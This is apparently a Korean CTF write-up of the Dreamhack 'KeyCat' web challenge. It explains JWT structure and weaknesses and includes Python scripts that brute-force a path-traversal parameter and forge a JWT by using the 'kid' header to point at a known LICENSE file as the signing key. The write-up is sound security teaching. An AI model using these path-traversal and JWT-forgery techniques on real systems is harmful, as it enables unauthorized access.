[Dreamhack]WebHacking/Wargame&CTF

[Dreamhack] Level4: KeyCat

Yun2πŸ‘ 2024. 2. 23. 15:37
λ°˜μ‘ν˜•

πŸ›ŽοΈ Access

cat loves cats

 

 

πŸ‘Ύ Exploit Algorithm & Payload

> deploy

> docker-compose.yml

... (*λ§Žμ€ ν΄λ”μ˜ 정보 μœ μ‹¬νžˆ λ³Ό ν•„μš” 있음)

 

 

#1


: docker-compose.yml νŒŒμΌμ„ λΆ„μ„ν–ˆλ‹€.

: Dockeer-composeλŠ” μ—¬λŸ¬κ°œμ˜ μ»¨ν…Œμ΄λ„ˆλ‘œλΆ€ν„° 이루어진 μ„œλΉ„μŠ€λ₯Ό ꡬ좕, μ‹€ν–‰ν•˜λŠ” μˆœμ„œλ₯Ό μžλ™μœΌλ‘œ ν•˜μ—¬ 관리λ₯Ό κ°„λ‹¨ν•˜κ²Œ ν•˜λŠ” κ²ƒμœΌλ‘œ, μ—¬λŸ¬κ°œμ˜ μ»¨ν…Œμ΄λ„ˆ μ„€μ • λ‚΄μš©μ„ ν•˜λ‚˜μ˜ yml νŒŒμΌμ— λͺ¨μ•„μ„œ μ‚¬μš©ν•  수 μžˆλ‹€. 즉, compose νŒŒμΌμ„ μ€€λΉ„ν•΄μ„œ μ»€λ§¨λ“œ 1λ²ˆμ„ μ‹€ν–‰ν•˜λŠ” κ²ƒλ§ŒμœΌλ‘œ κ·Έ νŒŒμΌλ‘œλΆ€ν„° 섀정을 읽어듀여 λͺ¨λ“  μ»¨ν…Œμ΄λ„ˆ μ„œλΉ„μŠ€λ₯Ό μ‹€ν–‰μ‹œν‚¬ 수 μžˆλ„λ‘ ν•˜μ˜€λ‹€.

: κΌ­ λ¬Έμ œμ—μ„œ μ‚¬μš©ν•˜μ§€ μ•Šμ•„λ„ λœλ‹€. 단, 문제의 접속 ν¬νŠΈκ°€ 일정 μ‹œκ°„μ΄ μ§€λ‚˜λ©΄ λ°”λ€ŒκΈ° λ•Œλ¬Έμ— λ‘œμ»¬μƒμ—μ„œ 확인 ν›„ 접속 ν¬νŠΈμ—μ„œ 값을 ν™•μΈν–ˆλ‹€.

 

* ν•΄λ‹Ή λ¬Έμ œλŠ” Json Web Token(JWT)와 κ΄€λ ¨λœ 지식을 μ•Œμ•„μ•Όλ§Œ ν•œλ‹€.

* 검색해보면 λ‹€μ–‘ν•˜κ²Œ 정리가 잘 λ˜μ–΄μžˆλ‹€.

 

> JWT (μ΄λž€?, ꡬ쑰, 취약점)

더보기

- JWTμ΄λž€?

: JWTλŠ” μ•”ν˜Έν™”μ™€ 검증(Signature) κΈ°λŠ₯을 κ°€μ§„ 인증 토큰이닀

 

- JWT ꡬ쑰

: Base64(Header).Base64(Payload).Base64(Signature)

 

* Header: {"alg": "HS256","typ": "JWT"}

: typ와 algλΌλŠ” 정보가 μ‘΄μž¬ν•˜λŠ”λ° typ의 값은 JWT이고 algλŠ” signatureλ₯Ό ν•΄μ‹±ν•˜κΈ°μœ„ν•œ μ•Œκ³ λ¦¬μ¦˜μ΄λ‹€.

 

* Payload: {"sub": "1234567890","name": "John Doe","iat": 1516239022}

μ„œλ²„μ—μ„œ μ²¨λΆ€ν•œ μ‚¬μš©μž κΆŒν•œ 정보와 데이터가 λ‹΄κ²¨μžˆλ‹€.

 

* Signature: HMACSHA256(base64UrlEncode(header)+"."+base64UrlEncode(payload), your-256-bit-secret)

Signature: Header, Payload λ₯Ό Base64 URL-safe Encodeλ₯Ό ν•œ 이후 Header 에 λͺ…μ‹œλœ ν•΄μ‹œν•¨μˆ˜λ₯Ό μ μš©ν•˜κ³ , κ°œμΈν‚€(Private Key)둜 μ„œλͺ…ν•œ μ „μžμ„œλͺ…이 λ‹΄κ²¨μžˆλ‹€.

 

(

 JWT의 무결성을 보μž₯ν•˜κΈ° μœ„ν•΄ μ—¬λŸ¬ μ„œλͺ… μ•Œκ³ λ¦¬μ¦˜(alg)λ₯Ό μ‚¬μš©ν•  수 있음

→RSA base, Elliptice curves, HMAC, None

)

 

- JWT 취약점 (6κ°€μ§€, ...)

: Signature 미확인, None μ•Œκ³ λ¦¬μ¦˜ μ‚¬μš©, λΉ„λŒ€μΉ­ μ•Œκ³ λ¦¬μ¦˜μœΌλ‘œ λ³€κ²½, JKW Injection, JKU Spoofing, kid injection)

 

--- Explotation ---

> refer to...

https://jwt.io/

 

JWT.IO

JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.

jwt.io

Step 01 토큰 확인: 토큰을 Base64 λ””μ½”λ”©ν•˜μ—¬ 확인

{"alg":"HS256","typ":"JWT"}.{"name":"John Doe","user_name":"john.doe", "perm":"user"}

Step 02 Payload λ³€μ‘°: Payload 뢀뢄을 λ³€μ‘°

{"alg":"HS256","typ":"JWT"}.{"name":"John Doe","user_name":"john.doe", "perm":"admin"}

Step 03 토큰 μ‚¬μš©: λ³€μ‘°λœ Payload 뢀뢄을 Base64 μΈμ½”λ”©ν•˜μ—¬ 기쑴의 토큰에 λŒ€μΉ˜μ‹œν‚΄. Signature 검증이 미흑할 경우 토큰이 μœ νš¨ν•˜κ²Œ 됨

 

 

#2


: entrypoint.sh νŒŒμΌμ„ λΆ„μ„ν–ˆλ‹€.

: 파일의 ν”Œλž˜κ·Έκ°€ FLAG_CONTENT_1, FLAG_CONTENT_2둜 μžˆλŠ” 것을 μ•Œ 수 μžˆλ‹€.

: FLAGλŠ” /home/cat/deploy/flag$FLAG.txt둜 λ˜μ–΄ μžˆλŠ” 것을 확인할 수 μžˆλŠ”λ° μ΄λŠ” μ‰˜μ—μ„œ λ³€μˆ˜μ— 2κΈ€μžμ˜ λžœλ€ν•œ a-f0-9 λ¬Έμžμ—΄μ„ ν• λ‹Ήν•˜μ—¬ ν”Œλž˜κ·Έ 파일 이름에 λΆ™λŠ” 것이닀.

 

: ./routes/cat.js νŒŒμΌμ„ λΆ„μ„ν–ˆλ‹€.

: /cat/flag와 /cat/admin μ—”λ“œν¬μΈνŠΈμ˜ 쑰건에 λ§žμΆ°μ„œ μš”μ²­μ„ 보내면 각각 FLAG_CONTENTλ₯Ό 확인할 수 μžˆλ‹€.

 

: /cat/flagλŠ” req.filename에 FLAG_FILE_NAME의 λ‚΄μš©μ΄ ν¬ν•¨λ˜μ–΄ μžˆμ–΄μ•Ό ν•œλ‹€.

: 즉, μ•„κΉŒ ν™•μΈν–ˆλ˜ flag$FLAG.txt의 λžœλ€ν•œ λ¬Έμžμ—΄μ΄ 뢙은 ν”Œλž˜κ·Έ 파일 이름을 μ•Œμ•„μ•Όλ§Œ ν•œλ‹€.

 

: /cat/admin은 req.usernam이 'cat_master'이어야 함을 μ•Œ 수 μžˆλ‹€.

 

 

#3


: ./routes/index.js νŒŒμΌμ„ λΆ„μ„ν–ˆλ‹€.

: jwt.jsνŒŒμΌμ—μ„œ JWTλ₯Ό λ°œκΈ‰ν•˜κ³  κ²€μ‚¬ν•˜λŠ” λ©”μ„œλ“œλ₯Ό 확인할 수 μžˆλ‹€.

: μ‚¬μš©μžλ‘œλΆ€ν„° fn νŒŒλΌλ―Έν„° 값을 μž…λ ₯λ°›μ•„ sign()λ©”μ„œλ“œμ˜ 인자 κ°’μœΌλ‘œ λ„˜κ²¨μ£Όμ–΄μ„œ μƒˆλ‘œμš΄ 토큰을 생성할 수 μžˆλ‹€.

 

: ν˜„μž¬ κ²½λ‘œλŠ” '/' κ²½λ‘œμ—μ„œ ../와 같은 μƒμœ„ 디렉토리에 μ΄λ™ν•˜μ—¬ 파일 μ—¬λΆ€λ₯Ό 확인할 수 μžˆμ—ˆλ‹€.

 

: 이λ₯Ό μ΄μš©ν•˜μ—¬ JWTλ₯Ό λΆ„μ„ν–ˆλ‹€.

 

 

πŸ”‘Analysis and results for obtaining the Flag_1 DH{…}


import string, requests, sys

# abcdefghijklmnopqrstuvwxyz0123456789 (a-f0-9)
random_ch = string.ascii_lowercase + string.digits

for str1 in random_ch:
    for str2 in random_ch:
        payload = f"../../../../../../../home/cat/deploy/flag{str1}{str2}.txt"
        target_url = f"http://host3.dreamhack.games:9147/?fn={payload}"

        # GET μš”μ²­
        response = requests.get(target_url, params=payload)

        # Unauthorized...
        if 'File not found' in response.text:
            print(f"{payload} -> {response.text}")
        else:
            print(f"\n{target_url} -> {payload}")
            print(f"FLAG_1_TOKEN: {response.text}")
            sys.exit()

 

 

: Path Traversal 취약점을 μ΄μš©ν•˜μ˜€λ‹€.

: filename은 μ–΄λ– ν•œ 검증도 κ±°μΉ˜μ§€ μ•Šμ•˜κ³ , ../와 같은 문자 값이 μ œν•œλ˜μ–΄ μžˆμ§€ μ•Šμ•˜λ‹€.

: λ”°λΌμ„œ flag파일둜 μ ‘κ·Όν•  수 μžˆλ‹€λ©΄ /cat/flagμ—μ„œ ν•΄λ‹Ή 토큰을 얻을 수 μžˆλ‹€.

 

 

πŸ”‘Analysis and results for obtaining the Flag_2 DH{…}


import jwt
import string
from requests import get
from re import search

SECRET_KEY = """The MIT License (MIT)
 
Copyright (c) 2015 Auth0, Inc. <support@auth0.com> (http://auth0.com)
 
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
 
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
 
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""

headers = {"kid": "../node_modules/jsonwebtoken/LICENSE"}
data = {
  "filename": "../node_modules/jsonwebtoken/LICENSE",
  "username": "cat_master",
  "iat": 1707707182
}
FLAG_2_TOKEN = jwt.encode(data, SECRET_KEY, headers=headers, algorithm="HS256")

target_url = "http://host3.dreamhack.games:8285"
res = get(f"{target_url}/cat/admin", cookies={"session": f"{FLAG_2_TOKEN}"})
m = search(r"[a-f0-9]{15,}.*?\}", res.text)

print(FLAG_2_TOKEN)

: ../jwt.js νŒŒμΌμ„ λΆ„μ„ν–ˆλ‹€.

: μ‹œμŠ€ν…œμ— μ‘΄μž¬ν•˜λŠ” 파일의 λ‚΄μš©μ„ 읽어 JWTλ₯Ό μœ„ν•œ λΉ„λ°€ν‚€λ₯Ό 생성할 수 μžˆλ‹€. /dev/nullκ³Ό 같이 λŒ€λΆ€λΆ„μ˜ μ‹œμŠ€ν…œμ— μžˆλŠ” νŒŒμΌμ„ 읽어 μ‚¬μš©μžκ°€ μ •ν•œ μž„μ˜μ˜ λΉ„λ°€ν‚€λ₯Ό 생성할 수 μžˆμ§€λ§Œ, fs.readFileSync() λ©”μ„œλ“œμ—μ„œ utf-8 μ˜΅μ…˜μ— μ˜ν•΄μ„œ μ‘΄μž¬λŠ” ν•˜μ§€λ§Œ λΉ„μ–΄μžˆλŠ” 파일이라면 λ°˜ν™˜ 값이 빈 λ¬Έμžμ—΄μ΄λ‹€. 빈 λ¬Έμžμ—΄μ„ λΉ„λ°€ν‚€λ‘œ ν•˜λ©΄ 'Error: secretOrPrivateKey must have a value' μ—λŸ¬κ°€ λ°œμƒν•˜μ—¬ 토큰을 생성할 수 μ—†λ‹€.

: λ•Œλ¬Έμ— μ„œλ²„μ—μ„œ μ‘΄μž¬ν•˜λŠ” 파일과 같은 λ‚΄μš©μ„ κ°€μ§„ μ–΄λ–€ λ³€ν•˜μ§€ μ•ŠλŠ” νŒŒμΌμ„ μ°Ύμ•„μ•Ό ν•œλ‹€.

: λ§Žμ€ 파일이 μžˆμ§€λ§Œ, μ—¬κΈ°μ„œλŠ” Node.js둜 λ™μž‘ν•˜κ³  있고 폴더λ₯Ό ν™•μΈν•˜λ‹€ LICENSEλΌλŠ” νŒŒμΌμ„ ν™•μΈν–ˆκΈ°μ— ν•΄λ‹Ή μœ„μΉ˜μ— νŒŒμΌμ„ ν™•μΈν–ˆλ‹€. (Path Traversal 취약점, Authentication Bypass 취약점)

: λ”°λΌμ„œ ν•΄λ‹Ή Token을 μ–»κ³  JWT Token의 payload 뢀뢄에 username을 'cat_master'둜 λ³€κ²½ν•˜λ©΄ /cat/admin에 ν•΄λ‹Ήν•˜λŠ” 토큰을 얻을 수 μžˆλ‹€.

 

 

λ°˜μ‘ν˜•